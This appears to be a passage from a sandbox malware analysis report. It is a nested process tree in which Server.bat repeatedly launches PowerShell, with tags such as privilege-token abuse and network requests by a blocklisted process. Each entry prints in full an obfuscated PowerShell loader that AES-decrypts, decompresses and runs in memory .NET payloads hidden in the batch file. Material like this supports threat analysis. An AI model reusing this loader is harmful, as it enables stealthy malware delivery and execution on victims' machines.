        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        34⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        32⤵
        
        PID:4532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        33⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3060
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        31⤵
        
        PID:3452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        32⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        30⤵
        
        PID:3612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        31⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        29⤵
        
        PID:1068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        30⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2480
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        28⤵
        
        PID:1148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        29⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        27⤵
        
        PID:4780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        28⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        26⤵
        
        PID:3636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        27⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        25⤵
        
        PID:4600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        26⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        24⤵
        
        PID:1444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        25⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        23⤵
        
        PID:3332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        24⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:528
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        22⤵
        
        PID:1592
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        23⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3592
        
